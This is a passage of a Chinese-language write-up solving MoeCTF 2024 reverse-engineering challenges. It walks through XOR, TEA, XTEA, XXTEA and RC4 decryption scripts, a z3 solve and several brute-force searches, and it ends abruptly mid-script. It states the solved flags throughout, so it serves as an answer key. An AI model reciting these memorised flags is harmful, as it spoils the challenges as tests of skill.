2024-MOECTF

RE

xor

先用exeinfo查看exe文件

得知是64位的c编译的文件,就拿ida去反编译

大致的解密思路就是用数组里面的密文去异或0x24,直接写py脚本

找到密文所在位置

1
2
3
4
5
6
7
8
9
10
cipher=[0x49, 0x4B, 0x41, 0x47, 0x50, 0x42, 0x5F, 0x41, 0x1C, 0x16,
0x46, 0x10, 0x13, 0x1C, 0x40, 0x09, 0x42, 0x16, 0x46, 0x1C,
0x09, 0x10, 0x10, 0x42, 0x1D, 0x09, 0x46, 0x15, 0x14, 0x14,
0x09, 0x17, 0x16, 0x14, 0x41, 0x40, 0x40, 0x16, 0x14, 0x47,
0x12, 0x40, 0x14, 0x59]
flag=""
for i in range(0,len(cipher)):
flag+=chr(cipher[i]^0x24)

print(flag)
PYTHON

TEA

查看文件位数

去ida反编译

发现是tea加密算法(好像被改过了),去参考https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm

接下来写解密脚本,这边有一个坑就是要注意ida当中的整数的位数,默认是32,所以在写解密脚本的时候也要关注整数变量的位数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from ctypes import *
flag="moectf{xxxxxxxx-yyyy-zzzz-9c42-caf30620caaf}"
v3=c_uint32(-1640531527*32)
v4=c_uint32(676078132)
v5=c_uint32(957400408)
for i in range(0,32):
v5.value -= (v4.value + v3.value) ^ (16 * v4.value + 1634038898) ^ ((v4.value >> 5) + 1634038904)
v4.value -= (v5.value + v3.value) ^ (16 * v5.value + 1702060386) ^ ((v5.value >> 5) + 1870148662)
v3.value+=1640531527
flag=flag.replace("xxxxxxxx",str(hex(v4.value)).replace("0x",""))
flag=flag.replace("yyyy",str(hex(v5.value)).replace("0x","")[0:4])
flag=flag.replace("zzzz",str(hex(v5.value)).replace("0x","")[4:])
print(flag)
#moectf{836153a5-8e00-49bd-9c42-caf30620caaf}
PYTHON

SecretModule

可能被我非预期了

直接查看customize.sh文件,解密其中的base,得到shell脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
testk() {
echo "Welcome to the Secret module!But before you begin,you need to prove your self."
(/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
return 0
}

choose() {
while true; do
/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
break
fi
done
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
echo "114514"
else
echo "1919810"
fi
}

if testk; then
ui_print "Great! Now enter the secret."

else
ui_print "Legacy Device. Use a newer device to do this challenge"
exit
fi

concatenated=""

for i in 1 2 3 4 5 6 7
do
result=$(choose)
concatenated="${concatenated}${result}"
done

input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
echo 'You are right!Flag is'
echo "moectf{$concatenated}"
else
echo 'Wrong. Try again.'
exit
fi
BASH

大致意思是说根据你的7次不同的操作要么在字符串中拼接“114514”,要么拼接“1919810”,拼接后的字符串的md5为77a58d62b2c0870132bfe8e8ea3ad7f1的话,包裹上moectf就是flag了,直接用python脚本遍历2^7种所有的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import itertools
import hashlib


def process_combination(combination):

result = ''.join('114514' if event == 'VOLUMEUP' else '1919810' for event in combination)
return result

# 计算 MD5 哈希
def calculate_md5(input_str):
return hashlib.md5(input_str.encode()).hexdigest()


def generate_combinations(length):
choices = ['VOLUMEUP', 'VOLUMEDOWN']
for combination in itertools.product(choices, repeat=length):
yield combination
def main():
length = 7
target_md5 = '77a58d62b2c0870132bfe8e8ea3ad7f1'
for combination in generate_combinations(length):
concatenated_result = process_combination(combination)
input_md5 = calculate_md5(concatenated_result)

if input_md5 == target_md5:
print(f'You are right! Flag is moectf{{{concatenated_result}}}')
break
else:
print('No matching combination found.')

if __name__ == "__main__":
main()
#You are right! Flag is moectf{114514114514191981011451411451419198101919810}
PYTHON

逆向工程入门指北

逆向工程进阶之北

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from ctypes import *
from Crypto.Util.number import *
from gmpy2 import *
from libnum import *
cipher=[0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,
0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81]
d=invert(3439311803,4294967296)
xor=0xdeadbeef + 0xd3906
flag=""
for i in range(len(cipher)):
key=(cipher[i]^xor)-0xdeadc0de
if key<0:
key+=0xffffffff+1
key=(key*d)%4294967296
flag=flag+n2s(int(key)).decode()[::-1]
print(flag)
PYTHON

这边注意先加减后异或的运算顺序,因为python没有防止溢出的机制,所以得自己判断32位的溢出

Cython-Strike: Bomb Defusion

题目给了pyd文件,那就直接import

然后执行一下help方法,注意源文件文件名我并没更改

1
2
import bomb_defuse
help(bomb_defuse)moectf{CoUnter_TerR0rists_w1n}
STYLUS

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Help on module bomb:

NAME
bomb - Defuse the bomb to get flag

CLASSES
builtins.object
Bomb
defuse_kit.DefuseKit

class Bomb(builtins.object)
| There may be a kit which can be used to defuse the bomb
|
| Methods defined here:
|
| __str__(self, /)
| Return str(self).
|
| enter_pwd(...)
| Enter the password to defuse the bomb
|
| params:
| pwd: the password you want to enter
|
| return: the flag if the password is correct
|
| ----------------------------------------------------------------------
| Static methods defined here:
|
| __new__(*args, **kwargs) from builtins.type
| Create and return a new object. See help(type) for accurate signature.
|
| ----------------------------------------------------------------------
| Data descriptors defined here:
|
| mask
| Mask of the bomb
|
| state
| State of the bomb

class DefuseKit(builtins.object)
| This class represents a defuse kit used to connect to and defuse a bomb.
| It allows you to interface with the bomb's inst ram which is necessary for safe defusal.
|
| Methods defined here:
|
| __init__(self, /, *args, **kwargs)
| Initialize self. See help(type(self)) for accurate signature.
|
| read_memory(...)
| Read data from the inst ram
|
| params:
| address: address to read from
| type : optional, "byte" or "char", the default is "byte"
|
| return: the data
|
| ----------------------------------------------------------------------
| Static methods defined here:
|
| __new__(*args, **kwargs) from builtins.type
| Create and return a new object. See help(type) for accurate signature.
|
| ----------------------------------------------------------------------
| Data descriptors defined here:
|
| bomb
| Bomb object

FILE
f:\ctf\2024complete\8\moectf\re\cs2\bomb_defuse-1.14-cp312-cp312-win_amd64 - 副本\bomb_defuse.cp312-win_amd64.pyd
1C

发现我们其实得到了类似伪代码的结果,我们大致理一下这个伪代码

1
2
3
4
5
6
7
8
Class bomb:
self.mask
self.state
def enter_pwd(pwd):
Class DefuseKit:
__init__(bomb)
self.bomb
def read_memory(address,type=byte)
PF

我们先去DefuseKit看看bomb变量的值

1
2
3
4
5
import bomb_defuse
help(bomb_defuse)
bomb1=bomb_defuse.Bomb()
kit=bomb_defuse.DefuseKit(bomb1)
print(kit.bomb)
STYLUS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Your defusekit has successfully connected to the bomb! The wire are tangled, but you've found the bomb's inst ram!
Scanning through the inst ram...
We've got access to some juicy data. Time to defuse!
tip: use read_memory method to read data from the inst ram
.------.--------.---------.
| .=====================. |\
| | 7 3 5 5 6 0 8 | | |
| +=====================+ | |
|----------------------\\-. |
| * | ^|^ || |\|
| .-----------------.|| | |
| | 1 | 2 | 3 ||| | |
| |-----+-----+-----||| | |
| | 4 | 5 | 6 ||| | |
| |-----+-----+-----||| | |
| | 7 | 8 | 9 ||| | |
| |-----+-----+-----|// | |
| | * | X | # |/ | |
| +-----------------+ | |
| | | | |
+-------+-------+---------+ |
\_______\_______\_________\|

Bomb state: planted
GHERKIN

发现说让我们用read_memory遍历去读取内存,那我们就按它说的做

1
2
3
4
5
6
7
8
9
10
11
12
13
import bomb_defuse
help(bomb_defuse)
bomb1=bomb_defuse.Bomb()
kit=bomb_defuse.DefuseKit(bomb1)
print(kit.bomb)
for k in range(0x0,0x3ff+1)://超过0x3ff会提示你范围在0-0x3ff
try:
data=kit.read_memory(k)
if data!=0x0:
flag=flag+data
except:
pass
print(flag)
STYLUS
1
0x230x640x650x690x650x200x4d0x410x580x5f0x200x300x780x660x660x660x660x660x660x750x6e0x730x690x670x6e0x640x200x690x6e0x740x200x6d0x610x3b0x690x6e0x740x200x700x610x6e0x740x5f0x620x620x280x750x6e0x730x690x670x6e0x650x640x200x690x6e0x740x200x690x6e0x700x750x740x290x7b0x690x660x200x690x6e0x700x750x740x200x3c0x3d0x200x4d0x410x580x5f0x290x200x7b0x6d0x610x200x3d0x200x690x6e0x700x750x740x3b0x720x750x720x6e0x200x300x3b0x7d0x200x650x730x650x7b0x720x650x740x6e0x200x2d0x310x3b0x7d0x200x7d0x760x6f0x690x640x200x650x780x700x6c0x640x650x5f0x620x6d0x6f0x690x640x290x7b0x760x6f0x690x640x200x640x650x660x650x5f0x6d0x620x280x760x690x640x290x7b0x7d0x630x680x650x630x6b0x5f0x700x640x280x750x6e0x730x670x6e0x650x640x690x6e0x740x200x690x6e0x750x290x7b0x690x660x280x690x6e0x700x750x740x3e0x200x4d0x410x580x5f0x290x7b0x650x780x700x6c0x6f0x640x650x5f0x620x620x280x290x3b0x7d0x690x660x280x280x690x6e0x740x200x5e0x200x6d0x610x200x3d0x3d0x200x310x310x340x290x200x260x260x200x280x690x6e0x700x750x740x200x3c0x3c0x200x280x6d0x610x200x250x200x350x290x200x2b0x200x310x200x3d0x3d0x200x360x300x350x370x380x370x330x360x290x290x7b0x640x650x660x750x730x650x5f0x620x620x280x290x3b0x720x750x720x6e0x7d0x650x780x700x6c0x6f0x640x650x5f0x620x620x280x290x3b0x720x650x740x750x3b0x7d0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0
ARMASM

去解密一下得到

找到关键的代码

1
if((int ^ ma == 114) && (input << (ma % 5) + 1 == 60578736)){defuse_bb();rurn}explode_bb();retu;}
APACHE

我们猜测和mask有关系,就先去查看bomb类中的mask

1
2
3
import bomb_defuse
mas=bomb1.mask
print(mas)
ROUTEROS

得到mask是7355608,仔细分析if里的条件,注意第一个条件其实是int ^ (ma == 114)注意运算顺序!!!所以关键是根据第二个条件进行爆破

1
2
3
4
5
mask=7355608
for ipu in range(0x0,0xffffff+1):
pwd1 = (ipu << (7355608 % 5) + 1)
if pwd1==60578736:
print(ipu)
APACHE

得到密码3786171

再去解炸弹

1
2
3
4
5
6
7
import bomb_defuse
help(bomb_defuse)
bomb1=bomb_defuse.Bomb()
kit=bomb_defuse.DefuseKit(bomb1)
print(kit.bomb)
diff=bomb1.enter_pwd(3786171)
print(diff)
STYLUS

得到flag

UPX

直接用upx -d脱壳,然后放入ida,shift+f12看所有字符串

upx-revenge

UPX脱壳,只是要010要修改一点东西

然后用upx -d脱壳

去ida查看

直接得到flag

moedaily

比较恶心的一题逆向题,大致思路是对你输入的flag每四位进行一个128的循环加密,它恶心就恶心在加密过程要自己推,不是直接全给你,以下是我推出来的加密过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
int main(){
unsigned int a[37]={0},b[37]={0},c[37]={0},d[19]={0},e[19]={0},f[19]={0};
a[3]=114514;
d[2]=1919810;
a[2]=1667592045;//明文
b[2]=2105239156;//明文
c[2]=114514;
e[2]=415144;
f[2]=19883 ;

for(int big_circle=1;big_circle<3;big_circle++){
b[3]=( (( (b[2]<<4 )+ c[2] )^( ( b[2]+a[3] ) ^( (b[2]>>5)+d[2] )) ) + a[2])&4294967295U;
c[3]=( (((b[3]<<4)+ e[2])^((b[3]+a[3])^((b[3]>>5)+f[2])))+b[2])&4294967295U;
a[4]=a[3]+114514;
for(int circle=4;circle<35;circle++){
if(circle<20){
a[circle+1]=a[circle]+114514;
b[circle]=( (( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) ) +b[circle-1])&4294967295U;
c[circle]=( (((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])))+c[circle-1])&4294967295U;
printf("%u,%u\n",b[circle],c[circle]);
}
else if(circle>=20&&circle<35){
a[circle+1]=a[circle]+114514;
b[circle]=( (( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) ) +b[circle-1])&4294967295U;
c[circle]=( (((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])))+c[circle-1])&4294967295U;
printf("%u,%u\n",b[circle],c[circle]);
}

}
a[2]=b[34];
b[2]=c[34];
}

// printf("%u,%u",b[18],c[18]);
return 0;
}
C

根据这个加密去写解密就方便许多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
int main(){
unsigned int a[37]={0},b[37]={0},c[37]={0},d[19]={0},e[19]={0},f[19]={0},cypher[12]={1397140385,2386659843,962571399,3942687964,3691974192,863943258,216887638,3212824238,3802077983,1839161422,1288683919,3222915626};
a[3]=114514;
d[2]=1919810;
a[2]=1667592045;//明文
b[2]=2105239156;//明文
// b[34]=1288683919;//密文
// c[34]=3222915626;//密文
c[2]=114514;
e[2]=415144;
f[2]=19883 ;
for(int i=4;i<37;i++){
a[i]=a[i-1]+114514;
}
for(int large_circle=0;large_circle<12;large_circle+=2){
b[34]=cypher[large_circle];
c[34]=cypher[large_circle+1];
for(int big_circle=1;big_circle<3;big_circle++){
for(int circle=34;circle>=4;circle--){
if(circle>=20&&circle<35){
c[circle-1]=(c[circle]&4294967295U)-(((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])));
b[circle-1]=(b[circle]&4294967295U)-(( (c[circle-1]<<4 )+ c[2] )^(( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2])));
// printf("%u,%u\n",b[circle-1],c[circle-1]);
}
if(circle<20){
c[circle-1]=(c[circle]&4294967295U)-(((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])));
b[circle-1]=(b[circle]&4294967295U)-(( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) );
// printf("%u,%u\n",b[circle-1],c[circle-1]);
}
}
b[2]=(c[3]&4294967295U)-(((b[3]<<4)+ e[2])^((b[3]+a[3])^((b[3]>>5)+f[2])));
a[2]=(b[3]&4294967295U)-(( (b[2]<<4 )+ c[2] )^( ( b[2] + a[3] ) ^ ( (b[2]>>5)+d[2] )) );
b[34]=a[2];
c[34]=b[2];

}
// printf("%u,%u\n",a[2],b[2]);
int flag1[4],flag2[4];
for(int i=0;i<4;i++){
flag1[i]=a[2]%256;
a[2]=a[2]/256;
flag2[i]=b[2]%256;
b[2]=b[2]/256;
}
for(int i=0;i<4;i++){
printf("%c",flag1[i]);
}
for(int i=0;i<4;i++){
printf("%c",flag2[i]);
}
}

//moectf{3xC3l_1S_n0t_just_f0r_d41ly_w0rk_bu7_R3V}




//
// for(int big_circle=1;big_circle<3;big_circle++){
// b[3]=( (( (b[2]<<4 )+ c[2] )^( ( b[2] + a[3] ) ^ ( (b[2]>>5)+d[2] )) ) + a[2])&4294967295U;
// c[3]=( (((b[3]<<4)+ e[2])^((b[3]+a[3])^((b[3]>>5)+f[2])))+b[2])&4294967295U;
// a[4]=a[3]+114514;
// for(int circle=4;circle<35;circle++){
// if(circle<20){
// a[circle+1]=a[circle]+114514;
// b[circle]=( (( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) ) +b[circle-1])&4294967295U;
// c[circle]=( (((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])))+c[circle-1])&4294967295U;
// printf("%u,%u\n",b[circle],c[circle]);
// }
// else if(circle>=20&&circle<35){
// a[circle+1]=a[circle]+114514;
// b[circle]=( (( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) ) +b[circle-1])&4294967295U;
// c[circle]=( (((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])))+c[circle-1])&4294967295U;
// printf("%u,%u\n",b[circle],c[circle]);
// }
//
// }
// a[2]=b[34];
// b[2]=c[34];
// }

// printf("%u,%u",b[18],c[18]);
return 0;
}
C

总之这个题目肝了三小时代码

babe-z3

z3方程求解,先正常脱壳,放进ida查看

根据最后一个if可以知道我们只要求解满足红框内的方程的v11,v12,v13和s即可,直接用python的z3库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from z3 import *
from libnum import *
import gmpy2
# 创建 Z3 变量
v11 = BitVec('v11', 64)
v12 = BitVec('v12', 64)
v13 = BitVec('v13', 64)
s = BitVec('s', 64)
mod1 = BitVecVal(0x1BF52, 64) # 0x1BF52
mod2 = BitVecVal(0x1D4B42, 64) # 0x1D4B42
# 定义表达式
expr = v11 ^ (v12 & (s + v12) | v13 & ~(v12 & s) | v11 & (v11 + v13) & ~s)
exper1 = v12 & v13 ^ (v11 | ~(v13 + v11)) & s & v12
exper2 = (v12 - v13) ^ (s - v11)
exper3 = (s + v12 - v13 + v11) * (v13 + s + v11 - v12)
exper4 = (v12 + v11 + s + v13) % mod1
exper5 = (v13 * v12 * v11 * s) % mod2
exper6 = v12 & s & v13 | (~(v11 | s) | v11 & v12) & v11 & s

target = BitVecVal(0x7071001344417B54, 64)
target1 = BitVecVal(0xD81AC01FBBA91837, 64)
target2 = BitVecVal(0x03FE01013130FFD3, 64)
target3 = BitVecVal(0x1989A41A9049C5C9, 64)
target4 = BitVecVal(21761, 64)
target5 = BitVecVal(827118, 64)
target6 = BitVecVal(0x2024243035302131, 64)
# 创建求解器
solver = Solver()
# 添加约束(等式)
solver.add(expr == target,

exper2 == target2,
exper3 == target3,
exper4 == target4,
exper5 == target5,
exper6 == target6)
# 检查是否有解
if solver.check() == sat:
model = solver.model()
v11_val = int(model[v11].as_long())
v12_val = int(model[v12].as_long())
v13_val = int(model[v13].as_long())
s_val = int(model[s].as_long())
print(f'v11 = {v11_val}')
print(f'v12 = {v12_val}')
print(f'v13 = {v13_val}')
print(f's = {s_val}')
print(n2s(s_val)[::-1],n2s(v11_val)[::-1],n2s(v12_val)[::-1],n2s(v13_val)[::-1],end='')

else:
print("No solution found.")
#9c0525dcbadf4cbd9715067159453e74
SMALI

注意解出来的数字通过n2s函数转成字符串同时还要逆序一下,因为v11,v12,v13和s都不是用char类型读取出来的,都是小端序,但是flag读进去的时候根据ida可知使用char类型读入的,所以要逆序一下

moectf{9c0525dcbadf4cbd9715067159453e74}

dynamic

直接动态调试进入第一个加密函数查看a1数组的值

xtea

动调可以知道,明文一共12位,第一次对前面的8位进行了加密,第二次对后面的8位进行了加密。实际上中间的8位加密了两次,根据这个再加上xtea算法就可以得到exp,我分别写了c和python的exp,其中c的exp自己还需额外将16进制转成字符,python则直接出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
int main(){
unsigned int cipher[12]={0xA3, 0x69, 0x96, 0x26, 0xBD, 0x78, 0x0B, 0x3D, 0x9D, 0xA5, 0x28, 0x62},v12[4]={2,0,2,4},v10=32,v7=-855655493*32;
unsigned int v14[3]={0x269669a3,0x3d0b78bd,0x6228a59d};
unsigned int v5,v6;
v5=v14[1];
v6=v14[2];
for(int circle=0;circle<2;circle++){
v7=-855655493*32;
for(int i=0;i<32;++i){
v6 -= (v12[((v7>>11)&3)]+v7)^(v5 + ((v5 >> 5) ^ (16 * v5)));
v7 += 855655493;
v5 -= (v12[(v7&3)]+v7)^(v6 + ((v6 >> 5) ^ (16 * v6)));
// printf("%x\n",v7);
}
if(circle==0){
printf("%x,",v6);
}
else{
printf("%x,%x",v5,v6);
}
v6=v5;
v5=v14[0];
}


return 0;

}
//moectf2024!!

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from ctypes import *
from libnum import *
def decrypt(m1,m2, k):
v0 = c_uint32(m1)
v1 = c_uint32(m2)
delta = -855655493
sum1 = c_uint32(delta * 32)
for i in range(32):
v1.value -= (((v0.value << 4) ^ (v0.value >> 5)) + v0.value) ^ (sum1.value + k[(sum1.value >> 11) & 3])
sum1.value += 855655493
v0.value -= (((v1.value << 4) ^ (v1.value >> 5)) + v1.value) ^ (sum1.value + k[sum1.value & 3])
return v0.value, v1.value


if __name__ == '__main__':
a = [0x269669a3,0x3d0b78bd,0x6228a59d]
k = [2, 0, 2, 4]
flag2,flag3=decrypt(a[1],a[2],k)
flag1,flag2=decrypt(a[0],int(flag2),k)
print("解密后数据:", n2s(int(flag1))[::-1]+n2s(int(flag2))[::-1]+n2s(int(flag3))[::-1])
PYTHON

其中要注意的是汇编中的对数组的操作

汇编中的x4不用在解密中体现,因为汇编中的数组按字节进行移动而数组是dword所以对偏移量要x4表示一下子移动四个字节

d0tN3t

dll的逆向题目使用dnSpy工具去逆向

得到反编译的代码,根据这个去逆向

1
2
3
4
5
6
cipher=[173, 146, 161, 174, 132, 179, 187, 234, 231, 244, 177, 161, 65, 13, 18, 12, 166, 247, 229, 207, 125, 109, 67, 180, 230, 156, 125, 127, 182, 236, 105, 21, 215, 148, 92, 18, 199, 137, 124, 38, 228, 55, 62, 164]
flag=""

for i in range(0,len(cipher)):
flag += chr((cipher[i]^((i*i)%256)^114)-114)
print(flag)
PYTHON

rc4

非常简单的一题常规的rc4

因为是常规的rc4,所以我这边直接上大厨解了

下面是用脚本解的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include<stdio.h>
/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}

/*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t];
}
}
int main()
{
//字符串密钥
unsigned char key[] = "RC4_1s_4w3s0m3";
unsigned long key_len = sizeof(key) - 1;
//数组密钥
//unsigned char key[] = {};
//unsigned long key_len = sizeof(key);

//加解密数据
unsigned char data[] = {
0xA7, 0x1A, 0x68, 0xEC, 0xD8, 0x27, 0x11, 0xCC, 0x8C, 0x9B,
0x16, 0x15, 0x5C, 0xD2, 0x67, 0x3E, 0x82, 0xAD, 0xCE, 0x75,
0xD4, 0xBC, 0x57, 0x56, 0xC2, 0x8A, 0x52, 0xB8, 0x6B, 0xD6,
0xCC, 0xF8, 0xA4, 0xBA, 0x72, 0x2F, 0xE0, 0x57, 0x15, 0xB9,
0x24, 0x11
};
//加解密
rc4_crypt(data, sizeof(data), key, key_len);

for (int i = 0; i < sizeof(data); i++)
{
printf("%c", data[i]);
}
printf("\n");
return 0;
}
C

xxtea

没啥魔改,正常的xxtea,密钥题目有写,直接逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#define delta -1640531527

int main()
{
unsigned int v[9] = {0x78e1f564, 0xa835f0e1, 0x0512ff34, 0xb0e913fb, 0x89b9a350, 0xc943dab1, 0x01dbc84f, 0xaf16db20, 0x961767ed};
unsigned int key[4] = {0x63656f6d, 0x30326674, 0x21213432, 3439311803};
unsigned int sum = 0;
unsigned int y,z,p,rounds,e;
int n = 9;
int i = 0;
rounds = 6 + 52/n;
y = v[0];
sum = rounds*delta;
do
{
e = sum >> 2 & 3;
for(p=n-1;p>0;p--)
{
z = v[p-1];
v[p] -= ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p&3)^e]^z)+(y ^ sum)));
y = v[p];
}
z = v[n-1];
v[0] -= (((key[(p^e)&3]^z)+(y ^ sum)) ^ (((y<<2)^(z>>5))+((z<<4)^(y>>3))));
y = v[0];
sum = sum+1640531527;
}while(--rounds);

for(i=0;i<n;i++)
{
printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));
//printf("%c%c%c%c",*((char*)&v[i]+3),*((char*)&v[i]+2),*((char*)&v[i]+1),*((char*)&v[i]+0));
}
return 0;
}
CPP

逆向的时候注意大小端序!!

moejvav

jadx逆向,但是有点不准确,直接用idea逆向是准确的

应该把i++放到if之后,整个脚本的大致意思就是根据他提供的一些像机器码的东西来验算你输入的flag,我进行了两种解题方法,直接爆破flag输入和直接逆向方法

直接爆破的exp,没什么好说的,逻辑一样只需要不断累加flag里的字符就行,特别需要关注最后转成字符的时候根据题目还需要逆向一下并且可能出现在256下互补的情况!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import string

